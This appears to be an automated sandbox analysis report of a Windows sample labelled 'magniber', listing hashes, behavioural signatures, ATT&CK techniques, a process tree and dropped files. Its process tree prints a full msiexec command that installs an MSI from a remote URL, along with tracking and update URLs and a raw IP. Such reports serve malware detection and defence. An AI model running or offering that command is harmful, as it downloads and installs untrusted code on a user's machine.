ae4a6a801ef3b9f09464520fe24fc156ebf52f677f5d85d2b6d41462958aab12

Analysis

max time kernel
148s
max time network
132s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
25/08/2024, 10:32

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target

2024-08-25_b0588331784ebc6e7ab6b1a6601d0cfb_magniber.exe
Size

1.4MB
MD5

b0588331784ebc6e7ab6b1a6601d0cfb
SHA1

e5957f7a8fc8057b130aa66667b0f221f4dfe3cd
SHA256

ae4a6a801ef3b9f09464520fe24fc156ebf52f677f5d85d2b6d41462958aab12
SHA512

55ba7f993f9b07348bf7580d41893369d29b8490e5337fae7ea55757d06e44a7f79ceb1075c9e9f24a0b25385746190acd3c416202509f2598688b697cc3c104
SSDEEP

24576:QaQAvovgANOaDRhaPGDnEPYWfGE9XfhNnzVDt/vAKBQ+tpnmFzxM3:QauAaDvQGDnmYWuE5fXnph/5Q+tNmvM3

Score

7^/10

discovery

Malware Config

Signatures

Executes dropped EXE 1 IoCs

pid	Process
2252	~du1vh86xd9.tmp

Use of msiexec (install) with remote resource 1 IoCs

pid	Process
3740	MSIEXEC.EXE

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2024-08-25_b0588331784ebc6e7ab6b1a6601d0cfb_magniber.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	~du1vh86xd9.tmp
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSIEXEC.EXE

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeShutdownPrivilege	3740	MSIEXEC.EXE
Token: SeIncreaseQuotaPrivilege	3740	MSIEXEC.EXE

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
3740	MSIEXEC.EXE
3740	MSIEXEC.EXE

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3704 wrote to memory of 2252	3704	2024-08-25_b0588331784ebc6e7ab6b1a6601d0cfb_magniber.exe	83
PID 3704 wrote to memory of 2252	3704	2024-08-25_b0588331784ebc6e7ab6b1a6601d0cfb_magniber.exe	83
PID 3704 wrote to memory of 2252	3704	2024-08-25_b0588331784ebc6e7ab6b1a6601d0cfb_magniber.exe	83
PID 2252 wrote to memory of 3740	2252	~du1vh86xd9.tmp	92
PID 2252 wrote to memory of 3740	2252	~du1vh86xd9.tmp	92
PID 2252 wrote to memory of 3740	2252	~du1vh86xd9.tmp	92

C:\Users\Admin\AppData\Local\Temp\2024-08-25_b0588331784ebc6e7ab6b1a6601d0cfb_magniber.exe
"C:\Users\Admin\AppData\Local\Temp\2024-08-25_b0588331784ebc6e7ab6b1a6601d0cfb_magniber.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3704
- C:\Users\Admin\AppData\Local\Temp\~du1vh86xd9.tmp
  "C:\Users\Admin\AppData\Local\Temp\~du1vh86xd9.tmp"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2252
- - C:\Windows\SysWOW64\MSIEXEC.EXE
    MSIEXEC.EXE /i "http://clatz.fileslldl.eu/client/pkgs/winpalace/WinPalace20140907064146.msi" DDC_DID=6721291 DDC_RTGURL=http://www.filedld.eu/dl/TrackSetup/TrackSetup.aspx?DID=6721291 DDC_UPDATESTATUSURL=http://190.4.91.3:8080/winpalace/Lobby.WebServices/Installer.asmx CUSTOMNAME02=redirectAsData CUSTOMVALUE02=1 CUSTOMNAME03=remoteIP CUSTOMVALUE03=87.2 SETUPEXEDIR="C:\Users\Admin\AppData\Local\Temp" SETUPEXENAME="~du1vh86xd9.tmp"
    3⤵
    - Use of msiexec (install) with remote resource
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    PID:3740

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\_isB693.tmp

Filesize
1KB

MD5
37b7187d05618b93680c342e695def70

SHA1
7803714e6fb641c63cfe394aeb0f6982873b7f82

SHA256
3f6fd8924460b9da454fc89e6c719f4ce6238a4c512b120c2ce263aa6770f042

SHA512
75e2615fdcca90380b052f2de8570a8fc58471f7d9e7ef669cd050442bb1666098dd8521dc46233d65c9dd9af029ad402dd813d84b3a3e404f11c5bfd0f063db

Download Submit
C:\Users\Admin\AppData\Local\Temp\{12040E36-9884-482A-ACB6-4FAF06D15BC5}\0x0409.ini

Filesize
21KB

MD5
be345d0260ae12c5f2f337b17e07c217

SHA1
0976ba0982fe34f1c35a0974f6178e15c238ed7b

SHA256
e994689a13b9448c074f9b471edeec9b524890a0d82925e98ab90b658016d8f3

SHA512
77040dbee29be6b136a83b9e444d8b4f71ff739f7157e451778fb4fccb939a67ff881a70483de16bcb6ae1fea64a89e00711a33ec26f4d3eea8e16c9e9553eff

Download Submit
C:\Users\Admin\AppData\Local\Temp\{12040E36-9884-482A-ACB6-4FAF06D15BC5}\_ISMSIDEL.INI

Filesize
20B

MD5
db9af7503f195df96593ac42d5519075

SHA1
1b487531bad10f77750b8a50aca48593379e5f56

SHA256
0a33c5dffabcf31a1f6802026e9e2eef4b285e57fd79d52fdcd98d6502d14b13

SHA512
6839264e14576fe190260a4b82afc11c88e50593a20113483851bf4abfdb7cca9986bef83f4c6b8f98ef4d426f07024cf869e8ab393df6d2b743b9b8e2544e1b

Download Submit
C:\Users\Admin\AppData\Local\Temp\~B681.tmp

Filesize
5KB

MD5
0f6da0ef3c653d9d185ef7a61fec951f

SHA1
85ac860e7b87beb2b1687d9a595dac7f539cef98

SHA256
17398f2574eb5aeccacaabc238d8c495c444a86e585f77d82dd7a5331804ddb2

SHA512
b0d270dfb42fc174d64f1d5a8b2a56a5dd37fdc328cda86b5d4b2e7328bc9ee973fd3617613282f297ceb4f36f1f0f213929a4e4c50700a25df314b20727adba

Download Submit
C:\Users\Admin\AppData\Local\Temp\~du1vh86xd9.tmp

Filesize
1.2MB

MD5
04de9edbab0b64dd61ce47f959f0a18c

SHA1
e7e66f405e81bac821f755a051eb2bec46d0f964

SHA256
bacfe5844ce1d8991b2ac86efc4504bb1683e611f46eeabdbbfdccf91faf1f86

SHA512
0e2c7ea67ca908421e3a0d00b57ee2e5ebed179fa8bd0ea7a48baf7232050b15b96f7d06184cbb412b67c22c813c3b5f6883f14820a1cc214b145316ac7d096b

Download Submit